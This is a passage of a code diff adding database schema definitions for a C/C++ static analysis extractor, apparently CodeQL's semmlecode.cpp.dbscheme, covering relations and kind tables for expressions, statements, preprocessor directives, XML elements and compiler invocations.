+    unique int id: @frienddecl,
+    int type_id: @type ref,
+    int decl_id: @declaration ref,
+    int location: @location_default ref
+);
+
+@declaredtype = @usertype ;
+
+@declaration = @function
+             | @declaredtype
+             | @variable
+             | @enumconstant
+             | @frienddecl;
+
+@member = @membervariable
+        | @function
+        | @declaredtype
+        | @enumconstant;
+
+@locatable = @diagnostic
+           | @declaration
+           | @ppd_include
+           | @ppd_define
+           | @macroinvocation
+           /*| @funcall*/
+           | @xmllocatable
+           | @attribute
+           | @attribute_arg;
+
+@namedscope = @namespace | @usertype;
+
+@element = @locatable
+         | @file
+         | @folder
+         | @specifier
+         | @type
+         | @expr
+         | @namespace
+         | @initialiser
+         | @stmt
+         | @derivation
+         | @comment
+         | @preprocdirect
+         | @fun_decl
+         | @var_decl
+         | @type_decl
+         | @namespace_decl
+         | @using
+         | @namequalifier
+         | @specialnamequalifyingelement
+         | @static_assert
+         | @type_mention
+         | @lambdacapture;
+
+@exprparent = @element;
+
+comments(
+    unique int id: @comment,
+    string contents: string ref,
+    int location: @location_default ref
+);
+
+commentbinding(
+    int id: @comment ref,
+    int element: @element ref
+);
+
+exprconv(
+    int converted: @expr ref,
+    unique int conversion: @expr ref
+);
+
+compgenerated(unique int id: @element ref);
+
+/**
+ * `destructor_call` destructs the `i`'th entity that should be
+ * destructed following `element`. Note that entities should be
+ * destructed in reverse construction order, so for a given `element`
+ * these should be called from highest to lowest `i`.
+ */
+#keyset[element, destructor_call]
+#keyset[element, i]
+synthetic_destructor_call(
+    int element: @element ref,
+    int i: int ref,
+    int destructor_call: @routineexpr ref
+);
+
+namespaces(
+    unique int id: @namespace,
+    string name: string ref
+);
+
+namespace_inline(
+    unique int id: @namespace ref
+);
+
+namespacembrs(
+    int parentid: @namespace ref,
+    unique int memberid: @namespacembr ref
+);
+
+@namespacembr = @declaration | @namespace;
+
+exprparents(
+    int expr_id: @expr ref,
+    int child_index: int ref,
+    int parent_id: @exprparent ref
+);
+
+expr_isload(unique int expr_id: @expr ref);
+
+@cast = @c_style_cast
+      | @const_cast
+      | @dynamic_cast
+      | @reinterpret_cast
+      | @static_cast
+      ;
+
+/*
+case @conversion.kind of
+  0 = @simple_conversion           // a numeric conversion, qualification conversion, or a reinterpret_cast
+| 1 = @bool_conversion             // conversion to 'bool'
+| 2 = @base_class_conversion       // a derived-to-base conversion
+| 3 = @derived_class_conversion    // a base-to-derived conversion
+| 4 = @pm_base_class_conversion    // a derived-to-base conversion of a pointer to member
+| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member
+| 6 = @glvalue_adjust              // an adjustment of the type of a glvalue
+| 7 = @prvalue_adjust              // an adjustment of the type of a prvalue
+;
+*/
+/**
+ * Describes the semantics represented by a cast expression. This is largely
+ * independent of the source syntax of the cast, so it is separate from the
+ * regular expression kind.
+ */
+conversionkinds(
+    unique int expr_id: @cast ref,
+    int kind: int ref
+);
+
+@conversion = @cast
+            | @array_to_pointer
+            | @parexpr
+            | @reference_to
+            | @ref_indirect
+            | @temp_init
+            ;
+
+/*
+case @funbindexpr.kind of
+  0 = @normal_call  // a normal call
+| 1 = @virtual_call // a virtual call
+| 2 = @adl_call     // a call whose target is only found by ADL
+;
+*/
+iscall(unique int caller: @funbindexpr ref, int kind: int ref);
+
+numtemplatearguments(
+    unique int expr_id: @expr ref,
+    int num: int ref
+);
+
+specialnamequalifyingelements(
+    unique int id: @specialnamequalifyingelement,
+    unique string name: string ref
+);
+
+@namequalifiableelement = @expr | @namequalifier;
+@namequalifyingelement = @namespace
+                       | @specialnamequalifyingelement
+                       | @usertype;
+
+namequalifiers(
+    unique int id: @namequalifier,
+    unique int qualifiableelement: @namequalifiableelement ref,
+    int qualifyingelement: @namequalifyingelement ref,
+    int location: @location_default ref
+);
+
+varbind(
+    int expr: @varbindexpr ref,
+    int var: @accessible ref
+);
+
+funbind(
+    int expr: @funbindexpr ref,
+    int fun: @function ref
+);
+
+@any_new_expr = @new_expr
+              | @new_array_expr;
+
+@new_or_delete_expr = @any_new_expr
+                    | @delete_expr
+                    | @delete_array_expr;
+
+@prefix_crement_expr = @preincrexpr | @predecrexpr;
+
+@postfix_crement_expr = @postincrexpr | @postdecrexpr;
+
+@increment_expr = @preincrexpr | @postincrexpr;
+
+@decrement_expr = @predecrexpr | @postdecrexpr;
+
+@crement_expr = @increment_expr | @decrement_expr;
+
+@un_arith_op_expr = @arithnegexpr
+                  | @unaryplusexpr
+                  | @conjugation
+                  | @realpartexpr
+                  | @imagpartexpr
+                  | @crement_expr
+                  ;
+
+@un_bitwise_op_expr = @complementexpr;
+
+@un_log_op_expr = @notexpr;
+
+@un_op_expr = @address_of
+            | @indirect
+            | @un_arith_op_expr
+            | @un_bitwise_op_expr
+            | @builtinaddressof
+            | @vec_fill
+            | @un_log_op_expr
+            | @co_await
+            | @co_yield
+            ;
+
+@bin_log_op_expr = @andlogicalexpr | @orlogicalexpr;
+
+@cmp_op_expr = @eq_op_expr | @rel_op_expr;
+
+@eq_op_expr = @eqexpr | @neexpr;
+
+@rel_op_expr = @gtexpr
+             | @ltexpr
+             | @geexpr
+             | @leexpr
+             | @spaceshipexpr
+             ;
+
+@bin_bitwise_op_expr = @lshiftexpr
+                     | @rshiftexpr
+                     | @andexpr
+                     | @orexpr
+                     | @xorexpr
+                     ;
+
+@p_arith_op_expr = @paddexpr
+                 | @psubexpr
+                 | @pdiffexpr
+                 ;
+
+@bin_arith_op_expr = @addexpr
+                   | @subexpr
+                   | @mulexpr
+                   | @divexpr
+                   | @remexpr
+                   | @jmulexpr
+                   | @jdivexpr
+                   | @fjaddexpr
+                   | @jfaddexpr
+                   | @fjsubexpr
+                   | @jfsubexpr
+                   | @minexpr
+                   | @maxexpr
+                   | @p_arith_op_expr
+                   ;
+
+@bin_op_expr = @bin_arith_op_expr
+             | @bin_bitwise_op_expr
+             | @cmp_op_expr
+             | @bin_log_op_expr
+             ;
+
+@op_expr = @un_op_expr
+         | @bin_op_expr
+         | @assign_expr
+         | @conditionalexpr
+         ;
+
+@assign_arith_expr = @assignaddexpr
+                   | @assignsubexpr
+                   | @assignmulexpr
+                   | @assigndivexpr
+                   | @assignremexpr
+                   ;
+
+@assign_bitwise_expr = @assignandexpr
+                     | @assignorexpr
+                     | @assignxorexpr
+                     | @assignlshiftexpr
+                     | @assignrshiftexpr
+                     | @assignpaddexpr
+                     | @assignpsubexpr
+                     ;
+
+@assign_op_expr = @assign_arith_expr | @assign_bitwise_expr
+
+@assign_expr = @assignexpr | @assign_op_expr
+
+/*
+  case @allocator.form of
+    0 = plain
+  | 1 = alignment
+  ;
+*/
+
+/**
+ * The allocator function associated with a `new` or `new[]` expression.
+ * The `form` column specified whether the allocation call contains an alignment
+ * argument.
+ */
+expr_allocator(
+    unique int expr: @any_new_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/*
+  case @deallocator.form of
+    0 = plain
+  | 1 = size
+  | 2 = alignment
+  | 3 = size_and_alignment
+  ;
+*/
+
+/**
+ * The deallocator function associated with a `delete`, `delete[]`, `new`, or
+ * `new[]` expression. For a `new` or `new[]` expression, the deallocator is the
+ * one used to free memory if the initialization throws an exception.
+ * The `form` column specifies whether the deallocation call contains a size
+ * argument, and alignment argument, or both.
+ */
+expr_deallocator(
+    unique int expr: @new_or_delete_expr ref,
+    int func: @function ref,
+    int form: int ref
+);
+
+/**
+ * Holds if the `@conditionalexpr` is of the two operand form
+ * `guard ? : false`.
+ */
+expr_cond_two_operand(
+    unique int cond: @conditionalexpr ref
+);
+
+/**
+ * The guard of `@conditionalexpr` `guard ? true : false`
+ */
+expr_cond_guard(
+    unique int cond: @conditionalexpr ref,
+    int guard: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` holds. For the two operand form
+ * `guard ?: false` consider using `expr_cond_guard` instead.
+ */
+expr_cond_true(
+    unique int cond: @conditionalexpr ref,
+    int true: @expr ref
+);
+
+/**
+ * The expression used when the guard of `@conditionalexpr`
+ * `guard ? true : false` does not hold.
+ */
+expr_cond_false(
+    unique int cond: @conditionalexpr ref,
+    int false: @expr ref
+);
+
+/** A string representation of the value. */
+values(
+    unique int id: @value,
+    string str: string ref
+);
+
+/** The actual text in the source code for the value, if any. */
+valuetext(
+    unique int id: @value ref,
+    string text: string ref
+);
+
+valuebind(
+    int val: @value ref,
+    unique int expr: @expr ref
+);
+
+fieldoffsets(
+    unique int id: @variable ref,
+    int byteoffset: int ref,
+    int bitoffset: int ref
+);
+
+bitfield(
+    unique int id: @variable ref,
+    int bits: int ref,
+    int declared_bits: int ref
+);
+
+/* TODO
+memberprefix(
+    int member: @expr ref,
+    int prefix: @expr ref
+);
+*/
+
+/*
+   kind(1) = mbrcallexpr
+   kind(2) = mbrptrcallexpr
+   kind(3) = mbrptrmbrcallexpr
+   kind(4) = ptrmbrptrmbrcallexpr
+   kind(5) = mbrreadexpr // x.y
+   kind(6) = mbrptrreadexpr // p->y
+   kind(7) = mbrptrmbrreadexpr // x.*pm
+   kind(8) = mbrptrmbrptrreadexpr // x->*pm
+   kind(9) = staticmbrreadexpr // static x.y
+   kind(10) = staticmbrptrreadexpr // static p->y
+*/
+/* TODO
+memberaccess(
+    int member: @expr ref,
+    int kind: int ref
+);
+*/
+
+initialisers(
+    unique int init: @initialiser,
+    int var: @accessible ref,
+    unique int expr: @expr ref,
+    int location: @location_expr ref
+);
+
+/**
+ * An ancestor for the expression, for cases in which we cannot
+ * otherwise find the expression's parent.
+ */
+expr_ancestor(
+    int exp: @expr ref,
+    int ancestor: @element ref
+);
+
+exprs(
+    unique int id: @expr,
+    int kind: int ref,
+    int location: @location_expr ref
+);
+
+/*
+  case @value.category of
+    1 = prval
+  | 2 = xval
+  | 3 = lval
+  ;
+*/
+expr_types(
+    int id: @expr ref,
+    int typeid: @type ref,
+    int value_category: int ref
+);
+
+case @expr.kind of
+    1 = @errorexpr
+|   2 = @address_of // & AddressOfExpr
+|   3 = @reference_to // ReferenceToExpr (implicit?)
+|   4 = @indirect // * PointerDereferenceExpr
+|   5 = @ref_indirect // ReferenceDereferenceExpr (implicit?)
+// ...
+|   8 = @array_to_pointer // (???)
+|   9 = @vacuous_destructor_call // VacuousDestructorCall
+// ...
+|  11 = @assume // Microsoft
+|  12 = @parexpr
+|  13 = @arithnegexpr
+|  14 = @unaryplusexpr
+|  15 = @complementexpr
+|  16 = @notexpr
+|  17 = @conjugation // GNU ~ operator
+|  18 = @realpartexpr // GNU __real
+|  19 = @imagpartexpr // GNU __imag
+|  20 = @postincrexpr
+|  21 = @postdecrexpr
+|  22 = @preincrexpr
+|  23 = @predecrexpr
+|  24 = @conditionalexpr
+|  25 = @addexpr
+|  26 = @subexpr
+|  27 = @mulexpr
+|  28 = @divexpr
+|  29 = @remexpr
+|  30 = @jmulexpr // C99 mul imaginary
+|  31 = @jdivexpr // C99 div imaginary
+|  32 = @fjaddexpr // C99 add real + imaginary
+|  33 = @jfaddexpr // C99 add imaginary + real
+|  34 = @fjsubexpr // C99 sub real - imaginary
+|  35 = @jfsubexpr // C99 sub imaginary - real
+|  36 = @paddexpr // pointer add (pointer + int or int + pointer)
+|  37 = @psubexpr // pointer sub (pointer - integer)
+|  38 = @pdiffexpr // difference between two pointers
+|  39 = @lshiftexpr
+|  40 = @rshiftexpr
+|  41 = @andexpr
+|  42 = @orexpr
+|  43 = @xorexpr
+|  44 = @eqexpr
+|  45 = @neexpr
+|  46 = @gtexpr
+|  47 = @ltexpr
+|  48 = @geexpr
+|  49 = @leexpr
+|  50 = @minexpr // GNU minimum
+|  51 = @maxexpr // GNU maximum
+|  52 = @assignexpr
+|  53 = @assignaddexpr
+|  54 = @assignsubexpr
+|  55 = @assignmulexpr
+|  56 = @assigndivexpr
+|  57 = @assignremexpr
+|  58 = @assignlshiftexpr
+|  59 = @assignrshiftexpr
+|  60 = @assignandexpr
+|  61 = @assignorexpr
+|  62 = @assignxorexpr
+|  63 = @assignpaddexpr // assign pointer add
+|  64 = @assignpsubexpr // assign pointer sub
+|  65 = @andlogicalexpr
+|  66 = @orlogicalexpr
+|  67 = @commaexpr
+|  68 = @subscriptexpr // access to member of an array, e.g., a[5]
+// ...  69 @objc_subscriptexpr deprecated
+// ...  70 @cmdaccess deprecated
+// ...
+|  73 = @virtfunptrexpr
+|  74 = @callexpr
+// ...  75 @msgexpr_normal deprecated
+// ...  76 @msgexpr_super deprecated
+// ...  77 @atselectorexpr deprecated
+// ...  78 @atprotocolexpr deprecated
+|  79 = @vastartexpr
+|  80 = @vaargexpr
+|  81 = @vaendexpr
+|  82 = @vacopyexpr
+// ...  83 @atencodeexpr deprecated
+|  84 = @varaccess
+|  85 = @thisaccess
+// ...  86 @objc_box_expr deprecated
+|  87 = @new_expr
+|  88 = @delete_expr
+|  89 = @throw_expr
+|  90 = @condition_decl // a variable declared in a condition, e.g., if(int x = y > 2)
+|  91 = @braced_init_list
+|  92 = @type_id
+|  93 = @runtime_sizeof
+|  94 = @runtime_alignof
+|  95 = @sizeof_pack
+|  96 = @expr_stmt // GNU extension
+|  97 = @routineexpr
+|  98 = @type_operand // used to access a type in certain contexts (haven't found any examples yet....)
+|  99 = @offsetofexpr // offsetof ::= type and field
+| 100 = @hasassignexpr // __has_assign ::= type
+| 101 = @hascopyexpr // __has_copy ::= type
+| 102 = @hasnothrowassign // __has_nothrow_assign ::= type
+| 103 = @hasnothrowconstr // __has_nothrow_constructor ::= type
+| 104 = @hasnothrowcopy // __has_nothrow_copy ::= type
+| 105 = @hastrivialassign // __has_trivial_assign ::= type
+| 106 = @hastrivialconstr // __has_trivial_constructor ::= type
+| 107 = @hastrivialcopy // __has_trivial_copy ::= type
+| 108 = @hasuserdestr // __has_user_destructor ::= type
+| 109 = @hasvirtualdestr // __has_virtual_destructor ::= type
+| 110 = @isabstractexpr // __is_abstract ::= type
+| 111 = @isbaseofexpr // __is_base_of ::= type type
+| 112 = @isclassexpr // __is_class ::= type
+| 113 = @isconvtoexpr // __is_convertible_to ::= type type
+| 114 = @isemptyexpr // __is_empty ::= type
+| 115 = @isenumexpr // __is_enum ::= type
+| 116 = @ispodexpr // __is_pod ::= type
+| 117 = @ispolyexpr // __is_polymorphic ::= type
+| 118 = @isunionexpr // __is_union ::= type
+| 119 = @typescompexpr // GNU __builtin_types_compatible ::= type type
+| 120 = @intaddrexpr // EDG internal builtin, used to implement offsetof
+// ...
+| 122 = @hastrivialdestructor // __has_trivial_destructor ::= type
+| 123 = @literal
+| 124 = @uuidof
+| 127 = @aggregateliteral
+| 128 = @delete_array_expr
+| 129 = @new_array_expr
+// ... 130 @objc_array_literal deprecated
+// ... 131 @objc_dictionary_literal deprecated
+| 132 = @foldexpr
+// ...
+| 200 = @ctordirectinit
+| 201 = @ctorvirtualinit
+| 202 = @ctorfieldinit
+| 203 = @ctordelegatinginit
+| 204 = @dtordirectdestruct
+| 205 = @dtorvirtualdestruct
+| 206 = @dtorfielddestruct
+// ...
+| 210 = @static_cast
+| 211 = @reinterpret_cast
+| 212 = @const_cast
+| 213 = @dynamic_cast
+| 214 = @c_style_cast
+| 215 = @lambdaexpr
+| 216 = @param_ref
+| 217 = @noopexpr
+// ...
+| 294 = @istriviallyconstructibleexpr
+| 295 = @isdestructibleexpr
+| 296 = @isnothrowdestructibleexpr
+| 297 = @istriviallydestructibleexpr
+| 298 = @istriviallyassignableexpr
+| 299 = @isnothrowassignableexpr
+| 300 = @istrivialexpr
+| 301 = @isstandardlayoutexpr
+| 302 = @istriviallycopyableexpr
+| 303 = @isliteraltypeexpr
+| 304 = @hastrivialmoveconstructorexpr
+| 305 = @hastrivialmoveassignexpr
+| 306 = @hasnothrowmoveassignexpr
+| 307 = @isconstructibleexpr
+| 308 = @isnothrowconstructibleexpr
+| 309 = @hasfinalizerexpr
+| 310 = @isdelegateexpr
+| 311 = @isinterfaceclassexpr
+| 312 = @isrefarrayexpr
+| 313 = @isrefclassexpr
+| 314 = @issealedexpr
+| 315 = @issimplevalueclassexpr
+| 316 = @isvalueclassexpr
+| 317 = @isfinalexpr
+| 319 = @noexceptexpr
+| 320 = @builtinshufflevector
+| 321 = @builtinchooseexpr
+| 322 = @builtinaddressof
+| 323 = @vec_fill
+| 324 = @builtinconvertvector
+| 325 = @builtincomplex
+| 326 = @spaceshipexpr
+| 327 = @co_await
+| 328 = @co_yield
+| 329 = @temp_init
+;
+
+@var_args_expr = @vastartexpr
+               | @vaendexpr
+               | @vaargexpr
+               | @vacopyexpr
+               ;
+
+@builtin_op = @var_args_expr
+            | @noopexpr
+            | @offsetofexpr
+            | @intaddrexpr
+            | @hasassignexpr
+            | @hascopyexpr
+            | @hasnothrowassign
+            | @hasnothrowconstr
+            | @hasnothrowcopy
+            | @hastrivialassign
+            | @hastrivialconstr
+            | @hastrivialcopy
+            | @hastrivialdestructor
+            | @hasuserdestr
+            | @hasvirtualdestr
+            | @isabstractexpr
+            | @isbaseofexpr
+            | @isclassexpr
+            | @isconvtoexpr
+            | @isemptyexpr
+            | @isenumexpr
+            | @ispodexpr
+            | @ispolyexpr
+            | @isunionexpr
+            | @typescompexpr
+            | @builtinshufflevector
+            | @builtinconvertvector
+            | @builtinaddressof
+            | @istriviallyconstructibleexpr
+            | @isdestructibleexpr
+            | @isnothrowdestructibleexpr
+            | @istriviallydestructibleexpr
+            | @istriviallyassignableexpr
+            | @isnothrowassignableexpr
+            | @isstandardlayoutexpr
+            | @istriviallycopyableexpr
+            | @isliteraltypeexpr
+            | @hastrivialmoveconstructorexpr
+            | @hastrivialmoveassignexpr
+            | @hasnothrowmoveassignexpr
+            | @isconstructibleexpr
+            | @isnothrowconstructibleexpr
+            | @hasfinalizerexpr
+            | @isdelegateexpr
+            | @isinterfaceclassexpr
+            | @isrefarrayexpr
+            | @isrefclassexpr
+            | @issealedexpr
+            | @issimplevalueclassexpr
+            | @isvalueclassexpr
+            | @isfinalexpr
+            | @builtinchooseexpr
+            | @builtincomplex
+            ;
+
+new_allocated_type(
+    unique int expr: @new_expr ref,
+    int type_id: @type ref
+);
+
+new_array_allocated_type(
+    unique int expr: @new_array_expr ref,
+    int type_id: @type ref
+);
+
+/**
+ * The field being initialized by an initializer expression within an aggregate
+ * initializer for a class/struct/union.
+ */
+#keyset[aggregate, field]
+aggregate_field_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int field: @membervariable ref
+);
+
+/**
+ * The index of the element being initialized by an initializer expression
+ * within an aggregate initializer for an array.
+ */
+#keyset[aggregate, element_index]
+aggregate_array_init(
+    int aggregate: @aggregateliteral ref,
+    int initializer: @expr ref,
+    int element_index: int ref
+);
+
+@ctorinit = @ctordirectinit
+          | @ctorvirtualinit
+          | @ctorfieldinit
+          | @ctordelegatinginit;
+@dtordestruct = @dtordirectdestruct
+              | @dtorvirtualdestruct
+              | @dtorfielddestruct;
+
+
+condition_decl_bind(
+    unique int expr: @condition_decl ref,
+    unique int decl: @declaration ref
+);
+
+typeid_bind(
+    unique int expr: @type_id ref,
+    int type_id: @type ref
+);
+
+uuidof_bind(
+    unique int expr: @uuidof ref,
+    int type_id: @type ref
+);
+
+@runtime_sizeof_or_alignof = @runtime_sizeof | @runtime_alignof;
+
+sizeof_bind(
+    unique int expr: @runtime_sizeof_or_alignof ref,
+    int type_id: @type ref
+);
+
+code_block(
+    unique int block: @literal ref,
+    unique int routine: @function ref
+);
+
+lambdas(
+    unique int expr: @lambdaexpr ref,
+    string default_capture: string ref,
+    boolean has_explicit_return_type: boolean ref
+);
+
+lambda_capture(
+    unique int id: @lambdacapture,
+    int lambda: @lambdaexpr ref,
+    int index: int ref,
+    int field: @membervariable ref,
+    boolean captured_by_reference: boolean ref,
+    boolean is_implicit: boolean ref,
+    int location: @location_default ref
+);
+
+@funbindexpr = @routineexpr
+             | @new_expr
+             | @delete_expr
+             | @delete_array_expr
+             | @ctordirectinit
+             | @ctorvirtualinit
+             | @ctordelegatinginit
+             | @dtordirectdestruct
+             | @dtorvirtualdestruct;
+
+@varbindexpr = @varaccess | @ctorfieldinit | @dtorfielddestruct;
+@addressable = @function | @variable ;
+@accessible = @addressable | @enumconstant ;
+
+@access = @varaccess | @routineexpr ;
+
+fold(
+    int expr: @foldexpr ref,
+    string operator: string ref,
+    boolean is_left_fold: boolean ref
+);
+
+stmts(
+    unique int id: @stmt,
+    int kind: int ref,
+    int location: @location_stmt ref
+);
+
+case @stmt.kind of
+    1 = @stmt_expr
+|   2 = @stmt_if
+|   3 = @stmt_while
+|   4 = @stmt_goto
+|   5 = @stmt_label
+|   6 = @stmt_return
+|   7 = @stmt_block
+|   8 = @stmt_end_test_while // do { ... } while ( ... )
+|   9 = @stmt_for
+|  10 = @stmt_switch_case
+|  11 = @stmt_switch
+|  13 = @stmt_asm // "asm" statement or the body of an asm function
+|  15 = @stmt_try_block
+|  16 = @stmt_microsoft_try // Microsoft
+|  17 = @stmt_decl
+|  18 = @stmt_set_vla_size // C99
+|  19 = @stmt_vla_decl // C99
+|  25 = @stmt_assigned_goto // GNU
+|  26 = @stmt_empty
+|  27 = @stmt_continue
+|  28 = @stmt_break
+|  29 = @stmt_range_based_for // C++11
+// ...  30 @stmt_at_autoreleasepool_block deprecated
+// ...  31 @stmt_objc_for_in deprecated
+// ...  32 @stmt_at_synchronized deprecated
+|  33 = @stmt_handler
+// ...  34 @stmt_finally_end deprecated
+|  35 = @stmt_constexpr_if
+|  37 = @stmt_co_return
+;
+
+type_vla(
+    int type_id: @type ref,
+    int decl: @stmt_vla_decl ref
+);
+
+variable_vla(
+    int var: @variable ref,
+    int decl: @stmt_vla_decl ref
+);
+
+if_initialization(
+    unique int if_stmt: @stmt_if ref,
+    int init_id: @stmt ref
+);
+
+if_then(
+    unique int if_stmt: @stmt_if ref,
+    int then_id: @stmt ref
+);
+
+if_else(
+    unique int if_stmt: @stmt_if ref,
+    int else_id: @stmt ref
+);
+
+constexpr_if_initialization(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int init_id: @stmt ref
+);
+
+constexpr_if_then(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int then_id: @stmt ref
+);
+
+constexpr_if_else(
+    unique int constexpr_if_stmt: @stmt_constexpr_if ref,
+    int else_id: @stmt ref
+);
+
+while_body(
+    unique int while_stmt: @stmt_while ref,
+    int body_id: @stmt ref
+);
+
+do_body(
+    unique int do_stmt: @stmt_end_test_while ref,
+    int body_id: @stmt ref
+);
+
+switch_initialization(
+    unique int switch_stmt: @stmt_switch ref,
+    int init_id: @stmt ref
+);
+
+#keyset[switch_stmt, index]
+switch_case(
+    int switch_stmt: @stmt_switch ref,
+    int index: int ref,
+    int case_id: @stmt_switch_case ref
+);
+
+switch_body(
+    unique int switch_stmt: @stmt_switch ref,
+    int body_id: @stmt ref
+);
+
+for_initialization(
+    unique int for_stmt: @stmt_for ref,
+    int init_id: @stmt ref
+);
+
+for_condition(
+    unique int for_stmt: @stmt_for ref,
+    int condition_id: @expr ref
+);
+
+for_update(
+    unique int for_stmt: @stmt_for ref,
+    int update_id: @expr ref
+);
+
+for_body(
+    unique int for_stmt: @stmt_for ref,
+    int body_id: @stmt ref
+);
+
+@stmtparent = @stmt | @expr_stmt ;
+stmtparents(
+    unique int id: @stmt ref,
+    int index: int ref,
+    int parent: @stmtparent ref
+);
+
+ishandler(unique int block: @stmt_block ref);
+
+@cfgnode = @stmt | @expr | @function | @initialiser ;
+
+stmt_decl_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl: @declaration ref
+);
+
+stmt_decl_entry_bind(
+    int stmt: @stmt_decl ref,
+    int num: int ref,
+    int decl_entry: @element ref
+);
+
+@functionorblock = @function | @stmt_block;
+
+blockscope(
+    unique int block: @stmt_block ref,
+    int enclosing: @functionorblock ref
+);
+
+@jump = @stmt_goto | @stmt_break | @stmt_continue;
+
+@jumporlabel = @jump | @stmt_label | @literal;
+
+jumpinfo(
+    unique int id: @jumporlabel ref,
+    string str: string ref,
+    int target: @stmt ref
+);
+
+preprocdirects(
+    unique int id: @preprocdirect,
+    int kind: int ref,
+    int location: @location_default ref
+);
+case @preprocdirect.kind of
+   0 = @ppd_if
+|  1 = @ppd_ifdef
+|  2 = @ppd_ifndef
+|  3 = @ppd_elif
+|  4 = @ppd_else
+|  5 = @ppd_endif
+|  6 = @ppd_plain_include
+|  7 = @ppd_define
+|  8 = @ppd_undef
+|  9 = @ppd_line
+| 10 = @ppd_error
+| 11 = @ppd_pragma
+| 12 = @ppd_objc_import
+| 13 = @ppd_include_next
+| 18 = @ppd_warning
+;
+
+@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next;
+
+@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif;
+
+preprocpair(
+    int begin : @ppd_branch ref,
+    int elseelifend : @preprocdirect ref
+);
+
+preproctrue(int branch : @ppd_branch ref);
+preprocfalse(int branch : @ppd_branch ref);
+
+preproctext(
+    unique int id: @preprocdirect ref,
+    string head: string ref,
+    string body: string ref
+);
+
+includes(
+    unique int id: @ppd_include ref,
+    int included: @file ref
+);
+
+link_targets(
+    unique int id: @link_target,
+    int binary: @file ref
+);
+
+link_parent(
+    int element : @element ref,
+    int link_target : @link_target ref
+);
+
+/* XML Files */
+
+xmlEncoding(unique int id: @file ref, string encoding: string ref);
+
+xmlDTDs(
+    unique int id: @xmldtd,
+    string root: string ref,
+    string publicId: string ref,
+    string systemId: string ref,
+    int fileid: @file ref
+);
+
+xmlElements(
+    unique int id: @xmlelement,
+    string name: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlAttrs(
+    unique int id: @xmlattribute,
+    int elementid: @xmlelement ref,
+    string name: string ref,
+    string value: string ref,
+    int idx: int ref,
+    int fileid: @file ref
+);
+
+xmlNs(
+    int id: @xmlnamespace,
+    string prefixName: string ref,
+    string URI: string ref,
+    int fileid: @file ref
+);
+
+xmlHasNs(
+    int elementId: @xmlnamespaceable ref,
+    int nsId: @xmlnamespace ref,
+    int fileid: @file ref
+);
+
+xmlComments(
+    unique int id: @xmlcomment,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int fileid: @file ref
+);
+
+xmlChars(
+    unique int id: @xmlcharacters,
+    string text: string ref,
+    int parentid: @xmlparent ref,
+    int idx: int ref,
+    int isCDATA: int ref,
+    int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+    int xmlElement: @xmllocatable ref,
+    int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters
+              | @xmlelement
+              | @xmlcomment
+              | @xmlattribute
+              | @xmldtd
+              | @file
+              | @xmlnamespace;
diff --git a/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/semmlecode.cpp.dbscheme b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/semmlecode.cpp.dbscheme
new file mode 100644
index 00000000000..e9a518baf14
--- /dev/null
+++ b/cpp/downgrades/cf72c8898d19eb1b3374432cf79d8276cb07ad43/semmlecode.cpp.dbscheme
@@ -0,0 +1,2096 @@
+
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+    /**
+     * An invocation of the compiler. Note that more than one file may
+     * be compiled per invocation. For example, this command compiles
+     * three source files:
+     *
+     *   gcc -c f1.c f2.c f3.c
+     */
+    unique int id : @compilation,
+    string cwd : string ref
+);
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | *path to extractor*
+ * 1   | `--mimic`
+ * 2   | `/usr/bin/gcc`
+ * 3   | `-c`
+ * 4   | f1.c
+ * 5   | f2.c
+ * 6   | f3.c
+ */
+#keyset[id, num]
+compilation_args(
+    int id : @compilation ref,
+    int num : int ref,
+    string arg : string ref
+);
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ *   gcc -c f1.c f2.c f3.c
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | f1.c
+ * 1   | f2.c
+ * 2   | f3.c
+ *
+ * Note that even if those files `#include` headers, those headers
+ * do not appear as rows.
+ */
+#keyset[id, num]
+compilation_compiling_files(
+    int id : @compilation ref,
+    int num : int ref,
+    int file : @file ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1    | CPU seconds used by the extractor frontend
+ * 2    | Elapsed seconds during the extractor frontend
+ * 3    | CPU seconds used by the extractor backend
+ * 4    | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+    int id : @compilation ref,
+    int num : int ref,
+    /* kind:
+       1 = frontend_cpu_seconds
+       2 = frontend_elapsed_seconds
+       3 = extractor_cpu_seconds
+       4 = extractor_elapsed_seconds
+    */
+    int kind : int ref,
+    float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+    int diagnostic : @diagnostic ref,
+    int compilation : @compilation ref,
